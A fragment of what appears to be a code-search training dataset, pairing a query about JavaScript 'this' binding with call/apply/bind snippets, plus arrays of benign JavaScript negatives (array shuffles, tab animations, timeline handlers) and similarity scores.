array[i] = array[j];\n array[j] = x;\n }\n return array;\n}", "function shuffle(a) {\n for (let i = a.length; i; i--) {\n let j = Math.floor(Math.random() * i);\n [a[i - 1], a[j]] = [a[j], a[i - 1]];\n }\n }", "function shuffle(array) { \n for (let i = 0; i < 3; i++) {\n tempArr.push(array.splice(Math.floor(Math.random() * array.length), 1));\n } \n }", "function shuffle(a) {\n var j, x, i;\n for (i = a.length; i; i--) {\n j = ~~(Math.random() * i);\n x = a[i - 1];\n a[i - 1] = a[j];\n a[j] = x;\n }\n}", "function shuffle( arr ) {\n\t\tlet currentIndex = arr.length,\n\t\t\ttemporaryVal,\n\t\t\trandomIndex;\n\n\t\twhile( 0 < currentIndex-- ) {\n\t\t\trandomIndex = Math.floor( Math.random() * ( currentIndex + 1 ) );\n\t\t\ttemporaryVal = arr[currentIndex];\n\t\t\tarr[currentIndex] = arr[randomIndex];\n\t\t\tarr[randomIndex] = temporaryVal;\n\t\t};\n\n\t\treturn arr;\t\t\n\t}", "function shuffle (arr) {\n var arrCopy = arr.slice();\n shuffleInplace(arrCopy);\n return arrCopy;\n }", "function shuffleArray(a) {\n\tvar j, x, i;\n\tfor(i = a.length; i; i--) {\n\t\tj = Math.floor(Math.random() * i);\n\t\tx = a[i - 1];\n\t\ta[i - 1] = a[j];\n\t\ta[j] = x;\n\t}\n}", "function shuffle(array) {\n var currentIndex = array.length, temporaryValue, randomIndex;\n while (currentIndex !== 0) {\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n }\n return array;\n }", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n}", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n}", "function shuffle(a) {\n var j, x, i;\n for (i = a.length - 1; i > 0; i--) {\n j = Math.floor(Math.random() * (i + 1));\n x = a[i];\n a[i] = a[j];\n a[j] = x;\n }\n return a;\n}", "shuffle(arr) {\n let c = arr.length;\n while (c > 0) {\n let index = Math.floor(Math.random() * c);\n c--;\n let temp = arr[c];\n arr[c] = arr[index];\n arr[index] = temp;\n }\n }", "function shuffle(array) {\r\n shuffledDeck = [].concat(array);\r\n var i = 0,\r\n j, temp;\r\n var length = shuffledDeck.length - 1;\r\n while (i < shuffledDeck.length) {\r\n j = Math.floor(Math.random() * Math.floor(length - 1));\r\n temp = shuffledDeck[j];\r\n shuffledDeck[j] = shuffledDeck[i];\r\n shuffledDeck[i] = temp;\r\n i++;\r\n }\r\n return shuffledDeck;\r\n }", "function shuffleDeck(x) {\n var i = 0,\n j = 0,\n temp = null;\n for (let i = x.length - 1; i > 0; i -= 1) {\n j = Math.floor(Math.random() * (i + 1));\n temp = x[i];\n x[i] = x[j];\n x[j] = temp;\n }\n}", "function shuffleArray(a) {\r\n var j, x, i;\r\n for (i = a.length - 1; i > 0; i--) {\r\n j = Math.floor(Math.random() * (i + 1));\r\n x = a[i];\r\n a[i] = a[j];\r\n a[j] = x;\r\n }\r\n return a;\r\n }", "function shuffle(array) {\n var currentIndex = array.length, temporaryValue, randomIndex;\n\n while (currentIndex !== 0) {\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n }\n\n return array;\n }", "function shuffle (a)\n{\n var o = [];\n\n for (var i=0; i < a.length; i++) {\n o[i] = a[i];\n }\n\n for (var j, x, i = o.length;\n i;\n j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);\n return o;\n}", "function shuffle(array) {\r\n var currentIndex = array.length, temporaryValue, randomIndex;\r\n \r\n // While there remain elements to shuffle...\r\n while (0 !== currentIndex) {\r\n \r\n // Pick a remaining element...\r\n randomIndex = Math.floor(Math.random() * currentIndex);\r\n currentIndex -= 1;\r\n \r\n // And swap it with the current element.\r\n temporaryValue = array[currentIndex];\r\n array[currentIndex] = array[randomIndex];\r\n array[randomIndex] = temporaryValue;\r\n }\r\n \r\n return array;\r\n }", "shuffle() {\n this._decks.forEach(deck => deck.shuffle())\n return super.shuffle();\n }", "function shuffle(array)\n{\n var currentIndex = array.length, temporaryValue, randomIndex; \n while (0 !== currentIndex) {\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1; \n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n } \n return array;\n}", "function shuffle(a) {\n for (let i = a.length; i; i--) {\n let j = Math.floor(Math.random() * i);\n [a[i - 1], a[j]] = [a[j], a[i - 1]];\n }\n }", "shuffleArray(array) {\n for(var i = array.length - 1; i > 0; i--) {\n var j = Math.floor(Math.random() * (i + 1));\n var temp = array[i];\n array[i] = array[j];\n array[j] = temp;\n }\n }", "shuffleDeck() {\n\t\t// Loop through the deck and shuffle cards\n \t\tfor (let i = this.mCardDeck.length - 1; i > 0; i--) {\n \tconst j = Math.floor(Math.random() * (i + 1));\n \t[this.mCardDeck[i], this.mCardDeck[j]] = [this.mCardDeck[j], this.mCardDeck[i]];\n \t}\n \t}", "function shuffle(ary) {\n var i = ary.length;\n\n while(i > 0) {\n var j = Random.integerWithinRange(0, --i);\n var tmp = ary[i];\n ary[i] = ary[j];\n ary[j] = tmp;\n }\n\n return ary;\n }", "function shuffle(array) {\n var currentIndex = array.length, temporaryValue, randomIndex ;\n\n while (0 !== currentIndex) {\n\n randomIndex = Math.floor(Math.random() * currentIndex);\n currentIndex -= 1;\n\n temporaryValue = array[currentIndex];\n array[currentIndex] = array[randomIndex];\n array[randomIndex] = temporaryValue;\n }\n\n return array;\n}", "function shuffle(arra1) {\n var ctr = arra1.length, temp, index;\n while (ctr > 0) {\n index = Math.floor(Math.random() * ctr);\n ctr--;\n temp = arra1[ctr];\n arra1[ctr] = arra1[index];\n arra1[index] = temp;\n }\n return arra1;\n}" ]
[ "0.73670566", "0.7277479", "0.7240962", "0.7239155", "0.71994233", "0.7194846", "0.7188913", "0.71853405", "0.7163731", "0.7163046", "0.7124531", "0.7102964", "0.7095047", "0.7085396", "0.7078325", "0.70690596", "0.70634246", "0.70625156", "0.7060207", "0.7057964", "0.7043315", "0.7041849", "0.7040852", "0.7004834", "0.7004834", "0.6998191", "0.69894564", "0.69819057", "0.69817334", "0.69740754", "0.6969538", "0.69640714", "0.69635105", "0.69600785", "0.6956566", "0.69540936", "0.6946949", "0.69451094", "0.69398105", "0.6928619", "0.6924017", "0.69237804", "0.69237804", "0.69237804", "0.6916809", "0.6908366", "0.6907402", "0.69063693", "0.6904801", "0.6903684", "0.6902087", "0.69014096", "0.69014096", "0.6901297", "0.68997145", "0.6898637", "0.6887779", "0.6885955", "0.68856907", "0.68827844", "0.6880988", "0.68795574", "0.68694353", "0.68693763", "0.6867179", "0.68647563", "0.685948", "0.685948", "0.685948", "0.68587583", "0.6858554", "0.68537325", "0.6853235", "0.685141", "0.6849861", "0.68460524", "0.68450016", "0.6835655", "0.68347543", "0.6833747", "0.6830935", "0.6828328", "0.6824008", "0.68231565", "0.68231565", "0.68231565", "0.6823077", "0.6817318", "0.681439", "0.6813824", "0.6813779", "0.6811908", "0.68057555", "0.68026346", "0.68011755", "0.68001765", "0.6799884", "0.67998016", "0.67971236", "0.6795563", "0.6795479" ]
0.0
-1
You can explicitly set 'this' with the call(), apply(), and bind() functions
function name() { console.info(this.username); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function setThisWithCall(fn, thisValue, arg) {\n return fn.call(thisValue, arg);\n}", "function setThisWithCall(fn, thisValue, arg){\n\treturn fn.call(thisValue, arg);\n}", "function setThisWithApply(fn, thisValue, args) {\n return fn.apply(thisValue, args);\n}", "function setThisWithApply(fn, thisValue, args){\n\t\treturn fn.apply(thisValue, args);\n}", "function setThisWithApply(fn,thisValue,args){\n console.log(args)\n return fn.apply(thisValue,args)\n}", "function call(func, self) { func.call(self); }", "function setThisWithCall(fn,thisValue,arg){\n // console.log(fn) //ƒ (){ return {thisValue: this, arguments: Array.from(arguments)} }\n // console.log(thisValue) //{name:bob}\n // console.log(arg) //18\n setResults= fn.call(thisValue,arg)\n // console.log(setResults)\n return setResults\n}//setThisWithCall", "function bindThis(fn, thisValue) {\n return (...args) => fn.apply(thisValue, args);\n }", "call(f, ...args) {\n f.call(this, ...args);\n\n return this;\n }", "function bind(fn, thisObj) {\n return fn.bind ? fn.bind(thisObj) : function () {\n return fn.apply(thisObj, arguments);\n };\n }", "function run() { if (this === window) { if (typeof arguments[0] === 'function') arguments[0](); } else if (typeof this === 'function') this.apply(window, arguments); }", "function simpleBind(context,fn){return function(value){fn.call(context,value);};}", "function DispatchApply(callback, thisArg) { callback.apply(thisArg); }", "apply () {}", "function bind(method,context){return function(){return method.apply(context,arguments);};}", "function bind(method,context){return function(){return method.apply(context,arguments);};}", "function bind(e,t){return function(){return t.apply(e,arguments)}}", "_setCall(call) {\n this._call = call;\n }", "function outerCall(callingFunction){\n callingFunction();\n //callingFunction.call(this); // if we bind an context using bind function so rebinding not able to possible\n}", "function ApplyToThis(f) {\n return function (a) { return f(this, a); };\n}", "function bind(fn, thisArg) {\n return function () {\n return fn.apply(thisArg, arguments);\n };\n }", "function simpleBind(context, fn) { // 14775\n return function(value) { // 14776\n fn.call(context, value); // 14777\n }; // 14778\n } // 14779", "function DispatchCall(callback, thisArg) { callback.call(thisArg); }", "function _set() {\n\tvar self = this;\n\targy(arguments)\n\t\t.ifForm('', function() {})\n\t\t.ifForm('string scalar|array|object|date|regexp|null', function(id, value) {\n\t\t\tself._setRaw(id, value);\n\t\t})\n\t\t.ifForm('object', function(obj) {\n\t\t\tfor (var key in obj)\n\t\t\t\tself._setRaw(key, obj[key]);\n\t\t})\n\t\t.ifForm('string function', function(id, callback) {\n\t\t\tself._setRaw(id, callback.call(this));\n\t\t})\n\t\t.ifForm('function', function(callback) { // Expect func to return something which is then processed via _set\n\t\t\tself._set(callback.call(this));\n\t\t})\n\t\t.ifForm(['string', 'string undefined'], function(id) {\n\t\t\tself._setRaw(id, undefined);\n\t\t})\n\t\t.ifFormElse(function(form) {\n\t\t\tthrow new Error('Unknown call style for .set():' + form);\n\t\t});\n\n\treturn self;\n}", "function Apply(target, thisArg, argsArray) {\n if(!(this instanceof Apply)) return new Apply(target, thisArg, argsArray);\n else Call.call(this, target);\n\n Object.defineProperties(this, {\n \"thisArg\": {\n value: thisArg\n },\n \"argsArray\": {\n value: argsArray\n }\n });\n }", "function $bind(func, thisValue) {\n return function() {return func.apply(thisValue, arguments)}\n}", "function repeatBindCallApply() {\n let john = {\n name: 'John',\n age: 26,\n job: 'teacher',\n presentation: function (style, timeOfDay) {\n if (style === 'formal') {\n console.log('Good ' + timeOfDay +\n ', Ladies and gentlemen! I\\'m ' +\n this.name + ', I\\'m a ' +\n this.job + ' and I\\'m ' +\n this.age + ' years old.');\n } else if (style === 'friendly') {\n console.log('Hey! What\\'s up? I\\'m ' +\n this.name + ', I\\'m a ' +\n this.job + ' and I\\'m ' +\n this.age + ' years old. Have a nice ' +\n timeOfDay + '.');\n }\n }\n };\n\n let emily = {\n name: 'Emily',\n age: 35,\n job: 'designer'\n }\n\n john.presentation('formal', 'morning');\n // Copy johns function for emily and use arguments separately.\n john.presentation.call(emily, 'friendly', 'afternoon');\n\n // Same, but arguments as an array.\n // john.presentation.apply(emily, ['friendly', 'afternoon']);\n\n // Store function separatetely for chosen parameters.\n // Currying - Don't repeat same parameters while calling function.\n let johnFriendly = john.presentation.bind(john, 'friendly');\n johnFriendly('morning');\n\n let emilyFormal = john.presentation.bind(emily, 'formal');\n emilyFormal('afternoon');\n\n\n // Another bind example\n let years = [1990, 1965, 1937, 2005, 1998];\n\n function arrCalc(arr, fn) {\n let arrResult = [];\n for (let i = 0; i < arr.length; i++)\n arrResult.push(fn(arr[i]));\n return arrResult;\n }\n\n function calculateAge(el) {\n return 2019 - el;\n }\n\n function isFullAge(limit, el) {\n return el >= limit;\n }\n\n let ages = arrCalc(years, calculateAge);\n var fullJapan = arrCalc(ages, isFullAge.bind(this, 20));\n console.log(ages);\n console.log(fullJapan);\n}", "_callHandler() {\n let args = [].slice.call( arguments );\n let name = args.length ? args.shift() : '';\n\n if ( name && typeof this._options[ name ] === 'function' ) {\n this._options[ name ].apply( this, args );\n }\n }", "function applyToThis(f) {\n return function (a) { return f(this, a); };\n}", "function applyToThis(f) {\n return function (a) { return f(this, a); };\n}", "function bound() {\n\n if (this instanceof bound) {\n // 15.3.4.5.2 [[Construct]]\n // When the [[Construct]] internal method of a function object,\n // F that was created using the bind function is called with a\n // list of arguments ExtraArgs the following steps are taken:\n // 1. Let target be the value of F's [[TargetFunction]]\n // internal property.\n // 2. If target has no [[Construct]] internal method, a\n // TypeError exception is thrown.\n // 3. Let boundArgs be the value of F's [[BoundArgs]] internal\n // property.\n // 4. Let args be a new list containing the same values as the\n // list boundArgs in the same order followed by the same\n // values as the list ExtraArgs in the same order.\n\n var self = Object.create(target.prototype);\n target.apply(self, args.concat(slice.call(arguments)));\n return self;\n\n } else {\n // 15.3.4.5.1 [[Call]]\n // When the [[Call]] internal method of a function object, F,\n // which was created using the bind function is called with a\n // this value and a list of arguments ExtraArgs the following\n // steps are taken:\n // 1. Let boundArgs be the value of F's [[BoundArgs]] internal\n // property.\n // 2. Let boundThis be the value of F's [[BoundThis]] internal\n // property.\n // 3. Let target be the value of F's [[TargetFunction]] internal\n // property.\n // 4. Let args be a new list containing the same values as the list\n // boundArgs in the same order followed by the same values as\n // the list ExtraArgs in the same order. 5. Return the\n // result of calling the [[Call]] internal method of target\n // providing boundThis as the this value and providing args\n // as the arguments.\n\n // equiv: target.call(this, ...boundArgs, ...args)\n return target.call.apply(\n target,\n args.concat(slice.call(arguments))\n );\n\n }\n\n }", "function bind(fn, ctx) {\n\t\t return function (a) {\n\t\t var l = arguments.length;\n\t\t return l ? l > 1 ? fn.apply(ctx, arguments) : fn.call(ctx, a) : fn.call(ctx);\n\t\t };\n\t\t}", "function _callWith(This, fn, args, props, classes) {\n var u = oj.unionArguments(args), argList = u.args, options = u.options\n _addClassesOption(options, classes)\n _extend(options, props)\n return fn.apply(This, [options].concat(argList))\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function bind(obj, fn) {\n return function () {\n return fn.apply(obj, arguments);\n };\n }", "function testCallNApplyNBind()\n{\n let o = { id: 123, \n getId : function()\n {\n \n return this.id;\n },\n getIdWPrfx : function(prefix)\n {\n \n return prefix + this.id;\n }\n };\n let newO = { id: 456};\n console.log(o.getId.call(newO));\n console.log(o.getIdWPrfx.call(newO,'IDCALL: ')); //456 call chnages the refernces of this in object to argument object. can take argument as comma separated.\n console.log(o.getIdWPrfx.apply(newO,['ID: '])); //apply is similar to call, can pass arguments with an array.\n \n let newFn = o.getId.bind(newO); //'bind' creates a copy of the function and sets context for new function with new object.\n let newFn2 = o.getIdWPrfx.bind(newO,['BIND-ID: ']); \n console.log(newFn());\n console.log(newFn2());\n}", "function bind(method, context) { // 102\n\t\treturn function() { return method.apply(context, arguments); }; // 103\n\t} // 104", "function simpleBind(context, fn) {\n return function (value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n\t return function(value) {\n\t fn.call(context, value);\n\t };\n\t }", "constructor() { \n autoBind(this); \n }", "function bind(fn,o) {\n return function() {\n fn.call(o);\n }\n}", "function y(){f.call(this)}", "function y(){f.call(this)}", "function y(){f.call(this)}", "function bind(method, context) {\n\t\t\t\treturn function() { return method.apply(context, arguments); };\n\t\t\t}", "function bind(method, context) {\n\t\t\t\treturn function() { return method.apply(context, arguments); };\n\t\t\t}", "function bind(method, context) {\n\t\t\t\treturn function() { return method.apply(context, arguments); };\n\t\t\t}", "function bind(method, context) {\n\t\t\t\treturn function() { return method.apply(context, arguments); };\n\t\t\t}", "function bind(method, context) {\n\t\t\t\treturn function() { return method.apply(context, arguments); };\n\t\t\t}", "function bind(method, context) {\n\t\t\t\treturn function() { return method.apply(context, arguments); };\n\t\t\t}", "function bind(method, context) {\n\t\t\t\treturn function() { return method.apply(context, arguments); };\n\t\t\t}", "function self($this) {\n\treturn $this;\n}", "function bind (obj, method) {\n var fn = obj[method];\n obj[method] = function () {\n fn.apply(obj, arguments);\n };\n }", "function bind (obj, method) {\n var fn = obj[method];\n obj[method] = function () {\n fn.apply(obj, arguments);\n };\n }", "function bind (obj, method) {\n var fn = obj[method];\n obj[method] = function () {\n fn.apply(obj, arguments);\n };\n }", "function bind (obj, method) {\n var fn = obj[method];\n obj[method] = function () {\n fn.apply(obj, arguments);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function simpleBind(context, fn) {\n return function(value) {\n fn.call(context, value);\n };\n }", "function callThat(){\n console.log(this)\n }", "function call() { //Modified this from function expression to function declaration.\r\n console.log(\"I am calling\");\r\n}", "function bind(fn, thisArg, ...outerArgs){\n// rest operator \n return function(...innerArgs) {\n// spread operator\n return fn.apply(thisArg, [...outerArgs, ...innerArgs]);\n }\n}" ]
[ "0.7475477", "0.7435012", "0.7398397", "0.7382254", "0.730726", "0.7182757", "0.7179201", "0.67064506", "0.6510581", "0.64372385", "0.6408172", "0.6356716", "0.6320414", "0.6292078", "0.6196953", "0.6196953", "0.61621153", "0.61481065", "0.6099857", "0.60820377", "0.60817975", "0.60803366", "0.60681635", "0.6065232", "0.6064294", "0.6030804", "0.5978635", "0.5960046", "0.5959683", "0.5959683", "0.59591734", "0.59516734", "0.5936059", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59252536", "0.59223545", "0.5885934", "0.5868009", "0.58278453", "0.57902354", "0.5778438", "0.57456297", "0.57456297", "0.57456297", "0.57360876", "0.57360876", "0.57360876", "0.57360876", "0.57360876", "0.57360876", "0.57360876", "0.5718642", "0.5701456", "0.5701456", "0.5701456", "0.5701456", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.56913584", "0.5684985", "0.56794065", "0.56741905" ]
0.0
-1
END TAB ANIMATION timeline
function isScrolledIntoView(el){ var $el = $(el); return ($el.offset().top + $el.outerHeight(true) <= $(window).scrollTop() + $(window).height()) && ($el.offset().top + $el.outerHeight(true) > $(window).scrollTop()); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function setEndAnimation() {\r\n\t\t\tinAnimation = false;\r\n\t\t}", "function triggletab() {\n $(\".tab\").each(function() {\n $(this).removeClass(\"active\");\n });\n }", "function frameAnimationEnd() {\n f.animatedFrames = f.animatedFrames || 0;\n f.animatedFrames++;\n if(f.animatedFrames == f.frameItems.length){\n f.finished = true;\n f.o.cbFinished.call(f);\n }\n \n }", "function onAnimationEnd() {\n // stop the last frame from being missed..\n rec.stop();\n }", "onAnimationEnd() {\n\n }", "function animateTabSwitch(activeTab) {\r\n let finishedTasks = document.querySelectorAll(\".finished\");\r\n let unfinishedTasks = document.querySelectorAll(\".unfinished\");\r\n //ako se prebacujemo na finished tab ova animacija se radi:\r\n if (activeTab == \"finishedTab\") {\r\n for (let i = 0; i < finishedTasks.length; i++) {\r\n //finishedTasks[i].style.opacity = \"0\";\r\n finishedTasks[i].style.animation = `200ms LeftToRightFadeIn ${\r\n i * 200\r\n }ms ease-in forwards`;\r\n //nakon sto prode animacija ulaza vraca opacity u 1 jer inace kada unDo-amo task onda krene od opacity 0 pa skoci na 1\r\n setTimeout(() => {\r\n finishedTasks[i].style.opacity = \"1\";\r\n }, i * 200);\r\n }\r\n }\r\n //ako se prebacujemo na unfiinshed tab ova animacija se radi:\r\n else {\r\n for (let i = 0; i < unfinishedTasks.length; i++) {\r\n unfinishedTasks[i].style.opacity = \"0\";\r\n unfinishedTasks[i].style.animation = `200ms RightToLeftFadeIn ${\r\n i * 200\r\n }ms ease-in forwards`;\r\n //nakon sto prode animacija ulaza vraca opacity u 1 jer inace kada unDo-amo task onda krene od opacity 0 pa skoci na 1\r\n setTimeout(() => {\r\n unfinishedTasks[i].style.opacity = \"1\";\r\n }, i * 200);\r\n }\r\n }\r\n}", "stop() {\n this.timeline.stop();\n }", "function updateTabulaturNoteEnded(idx) {\n window.tabeditor.render(idx + 1);\n if (idx + 1 >= window.tabeditor.data.length) {\n document.getElementById('gspg_player_play').style.display = '';\n document.getElementById('gspg_player_stop').style.display = 'none';\n // repeat\n setTimeout(function() {\n play()\n }, 1);\n }\n}", "function triggletab() {\n $(\".tab\").each(function () {\n $(this).removeClass(\"active\");\n });\n}", "function triggletab() {\n $(\".tab\").each(function () {\n $(this).removeClass(\"active\");\n });\n}", "function triggletab() {\n $(\".tab\").each(function() {\n $(this).removeClass(\"active\");\n });\n}", "function tEnd(){\n\t\t\treturn tStart(true);\n\t\t}", "function scrollToEnd() {\n selectTabByPlanId($(\".tab:last\").attr(\"id\"));\n }", "function endWizardPlanes () {\n\t\t\t$('.wizardPlanes-pasos:not(.pasoFinal)').slideUp();\n\t\t\t$('.wizardPlanes-pasos.wizard-pasoFinal').slideDown();\n\t\t\t$('header h3.ta-center').html('El plan más conveniente para ti es');\n\t\t\t$('header h4').remove();\n\t\t\t$('html, body').animate({scrollTop: $('header h3').offset().top}, 500);\n\t\t}", "function closeTab (e) {\n // the button's parent node is the slide-up-tab\n e.target.parentNode.classList.remove('visible')\n // timeout to allow animation to happen...\n setTimeout(function () {\n document.body.removeChild(e.target.parentNode)\n }, TAB_ANIMATION_DURATION)\n state.currentView = 'map'\n }", "_onEndAnim() {\n if (this._indicator) {\n this._indicator.getParent().removeChild(this._indicator);\n this._indicator = null;\n }\n }", "trajectoryEnd() {\n this.trajectoryIndex = this.trajectorySize - 1;\n this._drawTrajectories();\n }", "function onTimelineComplete() {\r\n\r\n if (infinite === true) {\r\n timelineMain.pause(0, true); //Go back to the start (true is to suppress events)\r\n timelineMain.remove();\r\n timelineMain.restart(true);\r\n } else {\r\n loopCount++;\r\n if (loopCount < maxCount) {\r\n timelineMain.pause(0, true); //Go back to the start (true is to suppress events)\r\n timelineMain.remove();\r\n timelineMain.restart(true);\r\n }\r\n }\r\n }", "function lastTab() {\n\n // Deselect current tab and correspondent tabpanel.\n deselectTab(currentEnabledTabs[currentTabIndex]);\n deselectTabpanel(document.getElementById(currentEnabledTabs[currentTabIndex].getAttribute('aria-controls')));\n\n // Select last tab and correspondent tabpanel.\n selectTab(currentEnabledTabs[currentEnabledTabs.length - 1]);\n selectTabpanel(document.getElementById(currentEnabledTabs[currentEnabledTabs.length - 1].getAttribute('aria-controls')));\n\n }// End: lastTab().", "_onEnd() {\n this._duringDisplayAnim = false;\n // - need to re render at the end of the display animation\n this._setAnimParams();\n }", "function animcompleted() {\n\t\t\t\t\t\t}", "function sectionEnd()\r\n{\r\n\tvar end_action=media_data[current].end;\r\n\tconsole.log(\"section End Action: \"+end_action);\r\n\tswitch(end_action)\r\n\t{\r\n\t\tcase \"next\":\r\n\t\t\tarrowDown();\r\n\t\tbreak;\r\n\t\tcase \"loop\":\r\n\t\t\tstartSection();\r\n\t\tbreak;\r\n\t\tdefault:\r\n\t\t\tconsole.log(\"unknown section End Action: \"+end_action);\r\n\t}\r\n}", "notifyAnimationEnd() {}", "function onClosed() {\n // save lastTab that the user was on\n dynamicData.state.activeTabName = currentTab;\n MyAvatar.hasScriptedBlendshapes = false;\n addRemoveFlowDebugSpheres(false);\n deleteMirror();\n }", "handleBottomLineAnimationEnd() {\n // We need to wait for the bottom line to be entirely transparent\n // before removing the class. If we do not, we see the line start to\n // scale down before disappearing\n if (!this.isFocused_ && this.bottomLine_) {\n this.bottomLine_.deactivate();\n }\n }", "handleBottomLineAnimationEnd() {\n // We need to wait for the bottom line to be entirely transparent\n // before removing the class. If we do not, we see the line start to\n // scale down before disappearing\n if (!this.isFocused_ && this.bottomLine_) {\n this.bottomLine_.deactivate();\n }\n }", "function end() {\r\n bg.visible = false;\r\n monkey.visible = false;\r\n\r\n bananaGroup.destroyEach();\r\n stoneGroup.destroyEach();\r\n}", "OnAnimationEnd() {\n // Remove the container containing the delete animations\n if (this._deleteContainer) {\n this.removeChild(this._deleteContainer);\n this._deleteContainer = null;\n }\n\n // Clean up the old container used by black box updates\n if (this._oldContainer) {\n this.removeChild(this._oldContainer);\n this._oldContainer = null;\n }\n\n // Restore event listeners\n this.EventManager.addListeners(this);\n\n // Restore visual effects on node with keyboard focus\n this._processInitialFocus(true);\n\n // Process the highlightedCategories\n this._processInitialHighlighting();\n\n if (!this.AnimationStopped) this.RenderComplete();\n\n // Reset animation flags\n this.Animation = null;\n this.AnimationStopped = false;\n }", "gotoNextFrame() {\n this.timeline.gotoNextFrame();\n }", "function AnimComplete() {\n // Add timer to mark sure at end place\n setTimeout(function () {\n VariableModule(that);\n va.$capLast.css('visibility', '');\n va.$capInner.css('height', '');\n }, 10);\n }", "function nextMainTab(){\n $(\"#groupstab\").show();\n $(\"#maintab\").hide();\n $(\"#t1, #t3\").removeClass(\"active\");\n $(\"#t2\").addClass(\"active\");\n}", "function triigletabcontent() {\n $(\".tab-c\").each(function() {\n $(this).removeClass(\"active\");\n });\n }", "function overTab( thisTab )\n{\t\n//clearTimeout(tO);\ncurTab=thisTab;\n\t// Change the tabs texture\n\t$( thisTab ).css( \"background\", \"url(Images/pattern2.png)\" );\n\t// Below animates the runner\n\t$( \"#headerRunner\" ).animate( { \"height\":\"22px\" }, { queue:false, duration:\"fast\" } );\n\t$( \"#headerRunner\" ).css( \"background\", \"url(Images/pattern2.png)\" );\n\t// Show the new tab\n\t$( \"#\"+$( thisTab ).attr( \"title\" ) ).css( \"display\", \"inline\" );\n\t\n\t// Hide the last tab\n\tif( currentTab != \"\" && currentTab != thisTab 